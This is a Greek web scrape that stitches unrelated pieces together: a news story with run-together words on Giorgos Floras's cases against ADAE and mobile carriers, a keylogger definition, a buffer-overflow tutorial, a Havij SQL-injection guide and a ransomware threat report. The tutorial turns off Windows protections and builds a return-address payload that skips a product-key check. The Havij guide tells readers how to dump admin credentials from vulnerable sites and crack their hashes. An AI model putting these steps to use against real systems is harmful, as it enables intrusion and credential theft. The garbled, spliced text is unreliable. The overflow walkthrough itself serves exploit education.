Η υπόθεση του Γιώργου Φλώρα δεν σταμάτησεστην ΕλληνικήΕισαγγελία:μετά από μια δεύτερη καταδίκηαπότηνADAE(αυτή τη φορά για παραβίαση του απορρήτου των επικοινωνιώνκατά της VODAFONE), ο κ. Φλώρας προσέφυγε στηδικαιοσύνη.Συγκεκριμένα,κατέθεσε αγωγήκατάτων νομίμων εκπροσώπων των δύο εταιρειώντο2021.Ηαγωγήαυτήαφορούσετηνπαραβίασητουαπορρήτου των επικοινωνιών. Στη συνέχεια, η Εισαγγελία Πρωτοδικών Αθηνών άσκησε ποινική δίωξη κατάτων εκπροσώπων τωνδύοεταιρειώνκαι παραπέμφθηκαν σε δίκη. Μία από τιςδίκεςεπρόκειτοναδιεξαχθείτον Δεκέμβριο του 2023 μετά από σειράαναβολών. Η υπόθεση τέθηκε επίσης ενώπιονπολιτικούδικαστηρίου.Ο κ. Φλώρας κατέθεσε δύο αγωγές κατά της VODAFONE και της COSMOTEκαι μέχρι σήμερα έχει εκδοθεί πρωτοβάθμια απόφαση για τη μία από αυτές,δικαιώνονταςτονκ.Φλώρα,όπως υποστήριξε σε επιστολή που απέστειλε στηνεισαγγελέα του Αρείου Πάγου Γεωργία Αδειλίνη το καλοκαίρι… Η δεύτερη δίκηαναβλήθηκεμέχριτην απόφασητου Διοικητικού ΠρωτοδικείουΑθηνών,κατάτηςοποίαςη εταιρεία άσκησε έφεση.
Κάτιπουαξίζεινααναφερθεί σε σχέση με τις εταιρείες κινητής τηλεφωνίας είναι το γεγονός ότι επί δεκαετίες η ΑΔΑΕ δεν δημοσίευετα στοιχεία των εταιρειών στις οποίες επέβαλε πρόστιμα για παραβίασητουνόμου περί απορρήτου των επικοινωνιών καιδενπαρέπεμπε τις αποφάσεις της στη δικαιοσύνη.το καλοκαίρι του 2022 ο κ. Φλώραςανακάλυψε τις πρακτικές τηςΑΔΑΕ και κατέθεσε τρεις μηνύσειςστηνΕισαγγελία Πρωτοδικών Αθηνών κατέθεσε τρεις καταγγελίες στην Εισαγγελία Πρωτοδικών Αθηνών. Αυτόοδήγησετονκ.Φλώρα να καταγγείλει στην Εισαγγελία Πρωτοδικών Αθηνών μιασειρά αποφάσεων της ΑΔΑΕκατάεταιρειών κινητής τηλεφωνίας πουδεν είχαν παραπεμφθεί στη δικαιοσύνη.Δύο από τις τρεις καταγγελίεςήτανσχετικές και η Εισαγγελία εξέδωσε την υπ’αριθμ. 960/2023 παραγγελία.
ΗΑΔΑΕαρχειοθέτησε όλες τις υποθέσεις που αφορούσαν αποφάσεις της ΕισαγγελίαςΠρωτοδικών που είχαν παραγραφεί. Επρόκειτο για αποφάσεις μετιςοποίες η ΑΔΑΕ είχε διαπιστώσει παραβάσεις της νομοθεσίας εκμέρουςτων τηλεπικοινωνιακώνεταιρειών,αλλάόσοναφορά τιςποινικέςυποθέσεις,ηπαραγραφή είχε παρέλθει επειδή είχε παρέλθει πενταετία από τηδιάπραξη του αδικήματος.
Εκτός από τιςπαραγγελίεςγιατηνάσκησηποινικήςδίωξηςπου είχαν κατατεθεί, είχαν ανοίξει συνολικά περίπου15 υποθέσεις.Σεαρκετές από αυτές είχαν ήδη ασκηθεί ποινικές διώξεις κατάεκπροσώπων της COSMOTE και της FORTHNET για παραβίασητου απορρήτου των επικοινωνιών. Μία από τιςυποθέσεις επρόκειτο να εκδικαστεί απότοΠρωτοδικείοΑθηνώντη Δευτέρα 11Σεπτεμβρίου.Ωστόσο,η δίκηαναβλήθηκεμετάαπό αίτημα τωνδικηγόρωντωνκατηγορουμένωνγιαλόγους υγείας.
Αθώωση κατηγορουμένου αλλά χωρίς υποστήριξη της κατηγορίας
Πριναπό αυτό, τον Ιούλιο του 2023, μιαάλληυπόθεση εκδικάστηκεενώπιοντουΔικαστηρίουτων Αθηνών. Ο κατηγορούμενος αθωώθηκε λόγωέλλειψηςδόλου.Ωστόσο,υπήρχεμια νέαπτυχήσεαυτήτηδίκη.Ούτεο καταγγέλλων,κ.Γιώργος Φλώρας, ούτε τοάτομο που έκανετην καταγγελία στην ΑΔΑΕ, ούτε η ΑΔΑΕ που εξέδωσε την απόφαση, ήταν παρόντες ως μάρτυρες προς υποστήριξη των κατηγοριών.
Προηγουμένως, ο κ. Φλώρας είχε υποβάλειγραπτό αίτημα στον εισαγγελέα ναεμφανιστείωςμάρτυραςστη δίκη,προκειμένου να καταχωρηθεί στη δικογραφία και να ερωτηθείστοδικαστήριο.Ωστόσο,τοδικαστήριοαπέρριψετοαίτημα του κ.Φλώρα.
Λίγες ημέρεςαργότερα, ο κ. Φλώρας απέστειλε επιστολή στηνΕισαγγελέατου Αρείου Πάγου Γεωργία Αδειλίνη, την οποία δημοσίευσετο Data Journalist. Οκ.Φλώραςτηνενημέρωσεεπίσηςγια ταόσα συνέβησανστη δίκη του Ιουλίου και για τον κίνδυνο να αθωωθούν οι εκπρόσωποι των εταιρειών σεάλλεςπρογραμματισμένεςδίκες.
Επιστολή που απέστειλε προς την εισαγγελέα του Αρείου Πάγου (pdf ΕΔΩ)
“Εάν αυτή η προσέγγιση συνεχιστεί σε όλες τις άλλες περιπτώσεις,τότεοκατηγορούμενοςπρέπεινααθωωθεί.Δενπρόκειταιναυποστηρίξωεκπροοιμίου ότι είναι άδικονααθωωθείοκατηγορούμενος.Ωστόσο, θα υποστηρίξω ότι ηεισαγγελίαδενμπορείνααφήσειτονκατηγορούμενοναδικαστείγιαένατόσοσοβαρόαδίκημαμεβάσητηναπόφασηενόςανεξάρτητουοργάνου,χωρίς να υπάρχεικανείς στο δικαστήριο για να υποστηρίξει τιςκατηγορίες.Είναιείτε ο ασθενής,η ΔΑΑΕ είτε οκατήγορος,όπωςεγώ,που ξύπνησε ένα πρωί και είπε, ας πάμε να κατηγορήσουμετηνεισαγγελία,κάτιπουσαφώςδενισχύει”,αναφέρειο Φλώρας στην επιστολή του,τονίζονταςότι εναπόκειταιστηνεισαγγελίανα δώσειστοιχεία.
Οανώτατοςεισαγγελέαςέκανε δεκτό το αίτημα τουΦλώρα. Πριν από λίγες ημέρες, σύμφωνα με πληροφορίες του Data Journalist, έλαβε κλήση για να εξεταστεί ως μάρτυρας στηναναβληθείσαδίκη της 11ης Σεπτεμβρίου.Ηδίκητώραφαίνεταιναέχειπάρεινέα τροπή.
Ένα άλλοθέμα που θίγει ο κ. Φλώραςστηνεπιστολήτουαφορά το ύψος των προστίμων πουεπιβάλλειη ΑΔΑΕ και τα κέρδη των εταιρειών κινητής τηλεφωνίας. Τοσύνολοτωνπροστίμωνπου επιβάλλειοανεξάρτητοςφορέαςγια παραβιάσεις του απορρήτου των επικοινωνιών μπορείναανέλθεισε εκατομμύρια ευρώ. Συγκεκριμένα,μεταξύ2017 και2022, η ΑΔΑΕ επέβαλε πρόστιμα συνολικού ύψους 7,2 εκατ. ευρώ σε εταιρείες κινητής τηλεφωνίας. Πρόκειται για εκατοντάδες υποθέσεις και καταγγελίες που χειρίζεταιη ΑΔΑΕ. Παράλληλα,τα κέρδη των εταιρειώντηνίδιαπερίοδοανέρχονται σε αρκετές δεκάδες δισεκατομμύρια ευρώ,συγκεκριμέναμόνοοΟΤΕκαιηVODAFONEανέρχονταισεπερίπου13δισεκατομμύριαευρώ.
“Δεδομένουτουσημαντικούκόστους που συνεπάγεται η εφαρμογή μέτρων ασφαλείας για τηδιασφάλισητου απόλυτου απορρήτου των επικοινωνιών,γίνεταιεύκολα αντιληπτόότι τα πρόστιμα που επέβαλε η Ε.Ε.Τ.Τ. δεν θααποτελούσαν καθόλου αποτρεπτικόπαράγοντα για τις τηλεφωνικέςεταιρείες.
Ένας keylogger (ή keystroke logger) είναι ένα είδος κακόβουλου λογισμικού που καταγράφει τα πλήκτρα που πατάει ένας χρήστης σε έναν υπολογιστή ή άλλη συσκευή εισόδου. Τα keyloggers συγκεντρώνουν πληροφορίες σχετικά με τον τρόπο που πληκτρολογείτε, συμπεριλαμβανομένων των κωδικών πρόσβασης, των ονομάτων χρηστών, των μηνυμάτων email, και άλλων ευαίσθητων πληροφοριών.
Σήμερα θα σας δείξω πως να βρείτε που στέλνονται τα στοιχεία σας όταν χρησιμοποιούμε έναν keylogger.
Ήρθε η ώρα να προσπαθήσουμε να εκτελέσουμε buffer overflow (με ανακατεύθυνση) σε ένα λειτουργικό σύστημα Windows 11. Για να δούμε πόσο εύκολο είναι να το κάνεις αυτό… 😎
Θα ακολουθήσουμε την ίδια μέθοδο όπως στο Part ΙΙ.
Ας ξεκινήσουμε με τον πηγαίο κώδικα του μικρού μας προγράμματος επίδειξης, του bufferoverflow.c:
Για όσους θέλουν να αντιγράψουν τον κώδικα, για να γράψουν τα δικά τους παραδείγματα – tests, Ορίστε:
#include<iostream>#include<string>#pragma warning(disable : 4996) //_CRT_SECURE_NO_WARNINGS#pragma runtime_checks("", off)#pragma optimize("", off)
using namespace std;
bool checkProductKey(char*userKey){char key[12];strcpy(key, userKey);
bool n =(strcmp(userKey,"123-456")==0);return n;}intmain(int argc,char* argv[]){char key[255];if(argc !=2){
cout <<"Enter product key >";
cin >> key;}elsestrcpy(key, argv[1]);
bool iAllow =checkProductKey(key);if(!iAllow){
cout <<"Wrong key!\n";return-1;}
cout <<"Welcome to the DEMO SA Application.\n";
cout <<"(c) 2023 all rights reserved.\n";return0;}
Δεν θα μπω στον κόπο να εξηγήσω τι κάνει το παραπάνω πρόγραμμα μιας και ο κώδικας του είναι πολύ προφανής. Πρόκειται για πρόγραμμα σε C, που τρέχει από τη γραμμή εντολών των Windows Powershell .
Παρακάτω βλέπετε την εκτέλεση του προγράμματος με διάφορες παραμέτρους :
Ένα από τα πιο σημαντικά σημεία για να δουλέψετε το bof είναι να επιλέξετε τις σωστές παραμέτρους compiler & linker.
Χρησιμοποιώ ένα console project σε C++ στο Visual Studio 2022 και αλλάζω ορισμένες προεπιλεγμένες παραμέτρους όπως υποδεικνύουν οι παρακάτω εικόνες.
Σημειώστε ότι ορισμένες παραμέτρους τις έχω ήδη ρυθμίσει από τον πηγαίο κώδικα, χρησιμοποιώντας οδηγίες pragma, αλλά για λόγους σαφήνειας θα επαναλάβω όλη τη διαδικασία εδώ:
1. Απενεργοποιήστε το επίπεδο προειδοποίησης (όχι απολύτως απαραίτητο αλλά χρήσιμο για αυτό το μικρό πρόγραμμα για να αποφύγετε κάποια ενοχλητικά μηνύματα)
2. Απενεργοποιήστε τους ελέγχους κύκλου ζωής ανάπτυξης ασφαλούς κώδικα – SDL=Security Development Lifecycle.
Δεν θέλω ο Optimizer να αλλάξει τίποτα στον κώδικά μου… (και στις δύο παραπάνω περιπτώσεις)
1. Ορίζω τα runtime checks στο default
2. Απενεργοποιώ κάθε security check
1. Απενεργοποιώ το ASLR (Address Space Layout Randomization)
2. Απενεργοποιώ το DEP (Data Execution Prevention), για να μπορώ να εκτελέσω κώδικα στο τμήμα μνήμης του STACK.Αυτό είναι απαραίτητο μόνο εάν θα ήθελα να εκτελέσω έναν shell στo Stack, αλλά δεν είναι απαραίτητο εάν εκτελέσω ένα Buffer Overflow με και απλώς αντικαταστήσω τη διεύθυνση RET για να ανακατευθύνω το πρόγραμμά μου σε διαφορετική θέση στον ίδιο κώδικα (τμήμα) –όπως έκανα στο μέρος II σε ένα BOX Linux.
Για να συνοψίσω όλες τις επιλογές που έθεσα για τη μεταγλώττιση του προγράμματός μου: /JMC /permissive- /ifcOutput "Debug\" /GS- /analyze- /W0 /Zc:wchar_t /ZI /Gm- /Od /sdl /Fd"Debug\vc143.pdb" /Zc:inline /fp:precise /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_UNICODE" /D "UNICODE" /errorReport:prompt /WX- /Zc:forScope /Gd /Oy- /MDd /FC /Fa"Debug\" /EHsc /nologo /Fo"Debug\" /Fp"Debug\BufferOverflow.pch" /diagnostics:column
Ήρθε λοιπόν η ώρα να ξεκινήσω τις δοκιμές μου και να ελέγξω τη συμπεριφορά του προγράμματος. Θα κάνω δύο τύπους δοκιμών:
Στην πρώτη μου δοκιμή θα περάσω μια μεγάλη συμβολοσειρά ως παράμετρο, μεγαλύτερη από αυτή που ορίζεται στη γραμμή 9 (του πηγαίου κώδικα).
Στο δεύτερο τεστ θα περάσω μια σύντομη συμβολοσειρά ως παράμετρο, προκειμένου να ελέγξω την κανονική λειτουργία του προγράμματος.
Επιπλέον θα βάλω κάποια breakpoints και θα ελέγξω την κατάσταση της μνήμης και κάποιες σημαντικές σημαίες (flags).
Για την 1η δοκιμή μου (την υπερχείλιση) έβαλα αυτό το όρισμα γραμμής εντολών στο πρόγραμμα εντοπισμού σφαλμάτων:
Η γνωστή συμβολοσειρά (που χρησιμοποιείται σε δοκιμές bof) ενός μοτίβου 4 bytes (το μέγεθος μιας διεύθυνσης μνήμης σε συστήματα 32 bit): AAAABBBBCCCCDDDDEEEE.
Για το δεύτερο τεστ μου (το κανονικό!) εισάγω απλώς αυτό:
Μόλις 10 “Α”.
Ας δούμε τώρα τι θα συμβεί όταν εκτελέσω τις δοκιμές μου, μελετώντας τις παρακάτω εικόνες:
Έβαλα ένα σημείο διακοπής (breakpoint) στη γραμμή 24, εκεί που καλείται η συνάρτηση checkProductKey.
Επιπλέον, έχω ενεργοποιήσει τρία σημαντικά Windows για να έχω όσο το δυνατόν περισσότερες πληροφορίες. Σημαντική σημείωση : Για να δείτε και να επιλέξετε τις παρακάτω επιλογές, το πρόγραμμα πρέπει να εκτελείται και να διακοπεί κάποιο breakpoint – διαφορετικά αυτές οι επιλογές δεν είναι ορατές).
Το Disassembly window (επιλέγοντας: Debug | Windows | Disassebly).
Το Memory window (επιλέγοντας: Debug | Windows | Memory | Memory 1)
Το Registers window (επιλέγοντας: Debug | Windows | Registers)
Ενώ η εκτέλεση έχει σταματήσει στο συγκεκριμένο σημείο διακοπής (στη γραμμή 24) επιλέγω το παράθυρο Disassembly:
[Κύρια εικόνα] : Όπως μπορούμε να δούμε την κλήση checkProductKey που βρίσκεται στη διεύθυνση μνήμης: 0x00414215 (θυμηθείτε: οι διευθύνσεις δίνονται σε δεκαεξαδική μορφή).
Συμβουλή: βλέπετε το textbox πάνω από το disassembly window – εκεί που λέει “Address: main(int, char * *)”: Εδώ μπορούμε να εισάγουμε για να δούμε τον κώδικα της κύριας συνάρτησης ή μπορούμε να δώσουμε οποιαδήποτε άλλη function, όπως η checkProductKey.
Το ίδιο ισχύει και για το παράθυρο μνήμης (Memory window), εγώ το χρησιμοποιώ για να εισάγω διευθύνσεις μνήμης.
Συνεχίζω την εκτέλεση μέχρι το τελευταίο breakpoint, μέσα στη συνάρτηση checkProductKey , ακριβώς πριν η συνάρτηση επιστρέψει στον καλούντα της (στη γραμμή 12) παρακάτω:
Παραπάνω, βλέπω την κλασική δομή Stack.
Εάν ελέγξετε το παράθυρο Registers θα δείτε επίσης ότι ο Base Pointer βρίσκεται στη διεύθυνση 0x0019FD8C όπως φαίνεται στην εικόνα.
Αμέσως μετά τον Base Pointer βρίσκεται η Διεύθυνση RET. Αυτός είναι ο στόχος μου!
Συνεχίζοντας την εκτέλεση λαμβάνω ένα σφάλμα παραβίασης πρόσβασης :
Αν υποθέσουμε ότι διαβάσατε τα Parts IΙ και IIΙ, είναι πλέον εύκολο να καταλάβετε γιατί: Όταν τελειώσει ο έλεγχος της συνάρτησης ProductKey, ο EIP λαμβάνει τη διεύθυνση RET (που έχει γεμίσει με “E” – 45 το οποίο είναι ο 16δικός κωδικός ascii του “E”) και προσπαθεί να επιστρέψει σε αυτήν τη διεύθυνση, την 0x45.45.45.45. Ωστόσο, αυτή η διεύθυνση δεν υπάρχει, εξ ου και το μήνυμα λάθους “Access violation reading location 0x45454545”.
Για λόγους σαφήνειας, επιτρέψτε μου να σας υπενθυμίσω ξανά κάποια πράγματα που συζητήσαμε στο Μέρος ΙΙ:
Το παρακάτω είναι μια σχηματική αναπαράσταση αυτού που βλέπουμε στη Στοίβα μας ενώ εκτελείται η συνάρτηση checkProductKey :
Εισάγοντας μια πολύ μεγάλη συμβολοσειρά που περνάει ως παράμετρος η συνάρτησή μας, υπερκαλύπτει και αντικαθιστά και τις διευθύνσεις: EBP και RET!
Κοιτάξτε τώρα, πώς φαίνεται η ίδια δομή κατά την εκτέλεση της 2ης δοκιμής μας: Η κανονική: “AAAAAAAAAA”
Εδώ, τα πράγματα είναι πιο ξεκάθαρα: Αφού τελειώσει η συνάρτηση, θα επιστρέψει στη διεύθυνση καλούντος της, όπως υποδεικνύουν οι διευθύνσεις RET είναι: 0x00414221 (θυμηθείτε ότι ακολουθείται το μοντέλο little endian – διαβάζουμε από τη μνήμη με αντίστροφη σειρά).
Μπορείτε να διασταυρώσετε με το [Main Image] για να ελέγξετε την ακριβή διεύθυνση (το 0x00414221 ) που θα πάει η λειτουργικότητα του προγράμματός μας.
Αυτό σημαίνει επίσης (όπως είπαμε ήδη στα τρία προηγούμενα Parts των άρθρων μας), ότι ο EIP θα είναι 0x00414221.
Ή, με άλλα λόγια EIP = RET Address (at lines 12 & 13 above) είναι αυτό που ονομάζουμε Function Epilogue.
Μέχρι στιγμής όλα καλά: Γνωρίζουμε την ακριβή συμβολοσειρά που θα μπορεί να αντικαταστήσει τη διεύθυνση RET. Αυτή είναι η “AAAABBBBCCCCDDDDEEEE”
Τώρα αυτό που πρέπει να κάνουμε είναι να αντικαταστήσουμε το EEEE με μια υπάρχουσα διεύθυνση για να ανακατευθύνουμε το πρόγραμμα για να παρακάμψουμε τον έλεγχο ProductKey.
Μπορούμε να βρούμε αυτή τη διεύθυνση διαβάζοντας τον disassembly κώδικα: Βρισκόταν μερικές διευθύνσεις κάτω (δεν φαίνεται στην εικόνα) της [Κύριας Εικόνας]. Εκεί που εμφανίζουμε τα μηνύματα καλωσορίσματος.
Είναι ακριβώς εδώ:
Αυτή είναι η διεύθυνση που ψάχνουμε: 0x41424D !!
Είμαστε έτοιμοι,… σχεδόν!!
Όπως γνωρίζουμε, βρισκόμαστε σε λειτουργία εντοπισμού σφαλμάτων (debug mode). Η πραγματική διεύθυνση του προγράμματος όταν εκτελείται σε release mode είναι συνήθως μια ελαφρώς διαφορετική διεύθυνση…
Αυτό που χρειαζόμαστε στην πραγματικότητα είναι την διεύθυνση σε release mode. Για αυτόν τον λόγο δημιουργούμε το τελικό εκτελέσιμο αρχείο σε release mode:
Προσοχή στην παγίδα: Όταν αλλάζετε το πρόγραμμα από Debug σε Release mode, όλες οι παράμετροι compiler & linker επαναφέρονται στις προεπιλεγμένες τους τιμές { 👿 👿 }, επομένως πρέπει να τις επαναφέρετε ακολουθώντας τις ρυθμίσεις που έκανα στην αρχή του άρθρου.
Τέλος, δημιούργησα ένα εκτελέσιμο αρχείο που είναι πολύ μικρότερο από αυτό που είχα με τις πληροφορίες εντοπισμού σφαλμάτων.
Αλλά πώς στο καλό, μπορώ να βρώ αυτήν τη διεύθυνση τώρα, με δεδομένο ότι δεν μπορώ πια να ψάξω σε debug mode, μέσω του Visual Studio;
Χμ… εδώ χρειάζεται λίγο Reversing ακόμα… και για αυτό το λόγο θα χρησιμοποιήσω ένα παλιό εργαλείο που ονομάζεται: Olly Debugger v.1.1 . Φυσικά μπορείτε να χρησιμοποιήσετε όσες άλλες επιλογές θέλετε, πολλές από αυτές χρησιμοποιούνται για τον εντοπισμό σφαλμάτων / αποσυναρμολόγηση ενός εκτελέσιμου αρχείου, όπως x32dbg , IDA κ.λπ…
Εκτελώντας το τελικό εκτελέσιμο αρχείο στο Olly, μπορώ εύκολα να εντοπίσω τη διεύθυνση της συνάρτησης checkProductKey :
Όπως μπορείτε να δείτε παραπάνω, έχω αναδημιουργήσει το ίδιο περιβάλλον που είχα στη λειτουργία εντοπισμού σφαλμάτων του Visual Studio.
Όπως μπορείτε επίσης να δείτε (στο κάτω δεξιό μέρος – στο τμήμα της μνήμης), η διεύθυνση υπερχείλισης είναι λίγο… μεταγενέστερη σε σχέση με τη λειτουργία εντοπισμού σφαλμάτων. Το EBP συμπληρώνεται με 66.66.66.66 (“f”) ενώ εισάγω τη συμβολοσειρά “aaaaabbbbccddddeeeeeffff”. Αυτό σημαίνει ότι η διεύθυνση RET είναι αμέσως μετά το EBP, δηλαδή εδώ: aaaaabbbbccddddeeeeffffXXXX
Το ερώτημα τώρα είναι: Πού είναι η διεύθυνση που εμφανίζουμε τα μηνύματα καλωσορίσματος;
Αυτή είναι η διεύθυνση που πρέπει να βάλουμε στη θέση του XXXX παραπάνω για να αναγκάσουμε το πρόγραμμα να παρακάμψει όλους τους ελέγχους ProductKey.
Λοιπόν, δεν είναι τόσο δύσκολο να το βρείτε χρησιμοποιώντας τον Olly:
Ο μαγικός αριθμός είναι: 0x0040138B
Τώρα, ας δημιουργήσουμε το exploit μας σε ένα αρχείο χρησιμοποιώντας έναν Επεξεργαστή HEX. Αυτό είναι το εύκολο μέρος:
Θυμηθείτε, εισάγουμε το aaaaabbbbccccdddeeeeeffff 8B134000 . Θυμηθείτε τη διεύθυνση με αντίστροφη σειρά ανά byte: 8B.13.40.00 είναι η διεύθυνση διεύθυνση στόχος μας: 00.40.13.8B
και αποθηκεύω το αρχείο με το όνομα args στο δίσκο.
Λοιπόν… Ας το δοκιμάσουμε τώρα, για να δούμε τι έχουμε καταφέρει μέχρι τώρα:
Bingo! Καταφέραμε μια επιτυχημένη παράκαμψη των μέτρων ασφαλείας του προγράμματος με ανακατεύθυνση υπερχείλισης buffer!
Όπως μπορείτε να δείτε παρακάτω, η εκμετάλλευσή της αδυναμίας λειτουργεί επίσης και χωρίς να περάσω αναγκαστικά τα ορίσματα από την γραμμή εντολών. Χρησιμοποιώ την ανακατεύθυνση,…
Επίλογος
Αυτό είναι το τέλος της στοιχειώδους σειράς άρθρων μου σχετικά με τον τρόπο εκτέλεσης υπερχείλισης buffer και δοκιμής των αποτελεσμάτων και αποφυγής ορισμένων παγίδων.
Αυτό που θα ήθελα να δείξω στην πραγματικότητα, ΔΕΝ είναι μόνο πώς να κάνω το πραγματικό bof. Πιστεύω ότι αυτό που μετράει δεν είναι μόνο ο προορισμός αλλά το ίδιο το ταξίδι.
Η εμπειρία, τα εργαλεία, οι συμβουλές, τα κόλπα και οι παγίδες που αντιμετωπίζετε κατά τη διάρκεια του ταξιδιού, είναι ο πραγματικός στόχος.
Και αυτό δεν ισχύει μόνο για ένα ταπεινό Buffer Overflow… 😉
Πώς να χακάρετε μια σελίδα με το Havij (script kiddie)
Πάμε να δούμε πως θα εκμεταλλευτούμε μια ευπάθεια sql injection με τη χρήση του Havij
1)Πρέπει να έχουμε βρει μια ευπαθής (vulnerability) ιστοσελίδα.
2)Βάζουμε το url στο Havij και πατάμε Analyze
Όπως βλέπετε απο κάτω το status γραφεί Analyze target.
Περιμείνουμε μεχρι να τελειώσει το Analyze
Βρίσκουμε τα Tables
Θα δείτε ότι μας έβγαλε κάποια Tables
Βρισκουμε τα Columns Απο τα tables που μας εβγαλε κοιτάμε να υπάρχει κάποιο με όνομα: “admin,users,members.”αυτα ειναι τα πιο γνωστά. Αμα βλέπετε κάποιο απο αυτα κάνετε ένα click πιάνω του και μετα πατήστε Get Columns
Και έτσι πήραμε τα Columns!!
Στα Columns θα βρείτε Username και Password κάντε ενα click πιάνω τους και μετα πατήστε Get Data
Μολις πηρατε το Username και το Password
Το Password συνηθως ειναι σε μορφη Hash
Για να το σπασετε πηγαινετε στην επιλογη MD5 που υπαρχει στο προγραμμα και καντε επικολληση το Hash μεσα στο κουτακι που εχει και πατηστε Start.
Το μόνο που μας έμεινε ειναι να βρούμε απο που κανει ο Admin login. Πηγαίνουμε στην επιλογή Find Admin βαζουμε την σελίδα μας στο κουτάκι που εχει και πατάμε Start..
Οι ShadowSyndicate χάκερ συνδέονται με πολλαπλές επιθέσεις ransomware
Οι ερευνητές ασφαλείας εντόπισαν υποδομές που ανήκουν σε έναν απειλητικό παράγοντα που τώρα εντοπίζεται ως ShadowSyndicate, ο οποίος πιθανότατα χρησιμοποίησε επτά διαφορετικές οικογένειες ransomware σε επιθέσεις κατά το περασμένο έτος.
Οι αναλυτές της Group-IB που συνεργάζονται με την Bridewell και τον ανεξάρτητο ερευνητή Michael Koczwara αποδίδουν με διάφορους βαθμούς εμπιστοσύνης τη χρήση από το ShadowSyndicate των ransomware Quantum, Nokoyawa, BlackCat/ALPHV, Clop, Royal, Cactus και Play σε πολλαπλές παραβιάσεις που παρατηρήθηκαν από τον Ιούλιο του 2022.
Με βάση τα ευρήματά τους, οι ερευνητές πιστεύουν ότι ο δράστης της απειλής θα μπορούσε να είναι ένας αρχικός διαμεσολαβητής πρόσβασης (IAB), αν και τα στοιχεία δείχνουν ότι το ShadowSyndicate είναι συνεργάτης σε πολλαπλές επιχειρήσεις ransomware.
Οι ερευνητές βασίζουν τα συμπεράσματά τους σε ένα ξεχωριστό δακτυλικό αποτύπωμα SSH που ανακάλυψαν σε 85 διακομιστές IP, οι περισσότεροι από τους οποίους χαρακτηρίζονται ως μηχανές εντολών και ελέγχου Cobalt Strike.
Οι αναλυτές είδαν για πρώτη φορά το fingerprint στις 16 Ιουλίου 2022 και εξακολουθούσε να χρησιμοποιείται τον Αύγουστο του 2023.
ShadowSyndicate arsenal
Η ομάδα ερευνητών βασίστηκε σε διάφορα εργαλεία για την έρευνά της, τα οποία περιλάμβαναν μηχανές εντοπισμού όπως οι Shodan και Censys, μαζί με διάφορες τεχνικές OSINT. Αυτό τους επέτρεψε να ανακαλύψουν ένα εκτεταμένο αποτύπωμα δραστηριότητας του ShadowSyndicate.
Εξετάζοντας τους διακομιστές ShadowSyndicate που εντοπίστηκαν με βάση το αποτύπωμα SSH, οι ερευνητές “έπεσαν πάνω σε οκτώ διαφορετικά υδατογραφήματα [κλειδιά άδειας χρήσης] της Cobalt Strike”.
Οι οκτώ διακομιστές Cobalt Strike επικοινωνούσαν με τα ransomware Cactus, Royal, Quantum, Nokoyawa, Play, Clop και BlackCat/ALPHV που αναπτύχθηκαν σε διάφορα δίκτυα θυμάτων.
Οι ερευνητές ανακάλυψαν επίσης διαμορφώσεις του Cobalt Strike που αναπτύχθηκαν σε δύο διακομιστές, αλλά μόνο ο ένας από αυτούς σε ένα μηχάνημα που διέθετε το αποτύπωμα SSH του ShadowSyndicate.
Σε ορισμένες επιθέσεις, το ShadowSyndicate χρησιμοποίησε το εργαλείο διείσδυσης Sliver, το οποίο θεωρούνταν προηγουμένως ως πιθανός αντικαταστάτης του Cobalt Strike.
Άλλα εργαλεία που παρατηρήθηκαν σε επιθέσεις του ShadowSyndicate περιλαμβάνουν τον φορτωτή κακόβουλου λογισμικού IcedID, τον φορτωτή MaaS Matanbuchus και το ωφέλιμο φορτίο Meterpreter Metasploit.
Ανάλυση server
Οι αναλυτές εξέτασαν την υπόθεση ότι και οι 85 διακομιστές με το ίδιο δακτυλικό αποτύπωμα κλειδιού SSH που συνδέονται με το ShadowSyndicate συνδέονται με έναν ενιαίο πάροχο φιλοξενίας, αλλά βρήκαν 18 διαφορετικούς ιδιοκτήτες, 22 διαφορετικά ονόματα δικτύου και 13 διαφορετικές τοποθεσίες.
Η ανάλυση των παραμέτρων του Cobalt Strike C2, όπως η ημερομηνία ανίχνευσης, τα υδατογραφήματα ή οι ρυθμίσεις του χρόνου αναστολής λειτουργίας, βοήθησε στην παραγωγή αποδεικτικών στοιχείων υψηλής αξιοπιστίας που συνδέουν το ShadowSyndicate με τα ransomware Quantum, Nokoyawa και ALPHV/BlackCat.
Συγκεκριμένα, οι αναλυτές συνέδεσαν τους διακομιστές με μια επίθεση Quantum από τον Σεπτέμβριο του 2022, τρεις επιθέσεις Nokoyawa από το τέταρτο τρίμηνο του 2022 και τον Απρίλιο του 2023 και μια επίθεση ALPHV από τον Φεβρουάριο του 2023.
Η Group-IB και τα προαναφερθέντα συνεργαζόμενα μέρη βρήκαν πρόσθετα στοιχεία που συνδέουν το ShadowSyndicate με λιγότερη εμπιστοσύνη με τις επιχειρήσεις κακόβουλου λογισμικού Ryuk, Conti, Trickbot, Royal, Clop και Play.
Ειδικά για το Clop, η έκθεση της Group-IB αναφέρει ότι τουλάχιστον 12 διευθύνσεις IP που προηγουμένως συνδέονταν με τους διαβόητους χειριστές ransomware μεταφέρθηκαν στο ShadowSyndicate από τον Αύγουστο του 2022 και τώρα χρησιμοποιούνται για το Cobalt Strike.
Παρά τα πολλά ευρήματα που υποδηλώνουν μια πιθανή σύνδεση, μια άμεση σύνδεση υψηλής εμπιστοσύνης μεταξύ του ShadowSyndicate και του Clop παραμένει ασύλληπτη.
Οι εμπειρογνώμονες πληροφοριών της Group-IB καταλήγουν στο συμπέρασμα ότι η ShadowSyndicate είναι πιθανότατα μια θυγατρική εταιρεία που συνεργάζεται με διάφορες επιχειρήσεις ransomware-as-a-service (RaaS). Ωστόσο, απαιτούνται πρόσθετα στοιχεία για να υποστηριχθεί αυτή η θεωρία.
Παρ’ όλα αυτά, το έργο αυτό είναι ζωτικής σημασίας για τον εντοπισμό και την καταπολέμηση του εγκλήματος στον κυβερνοχώρο και, με αυτό το πνεύμα, η εταιρεία κυβερνοκατασκοπείας καλεί εξωτερικούς ερευνητές να συνεργαστούν ανοιχτά μαζί της και να βοηθήσουν στην αποκάλυψη των υπόλοιπων ασαφών τμημάτων.
Για λεπτομέρειες που θα μπορούσαν να βοηθήσουν τους αμυντικούς να εντοπίσουν και να αποδώσουν τη δραστηριότητα του ShadowSyndicate, η Group-IB δημοσίευσε σήμερα μια έκθεση με τεχνικά δεδομένα από την έρευνά της.
Ο Αμερικανός Γερουσιαστής Ρον Ουάιντεν Προειδοποιεί: Κυβερνήσεις Παρακολουθούν Χρήστες Κινητών μέσω Ειδοποιήσεων Push
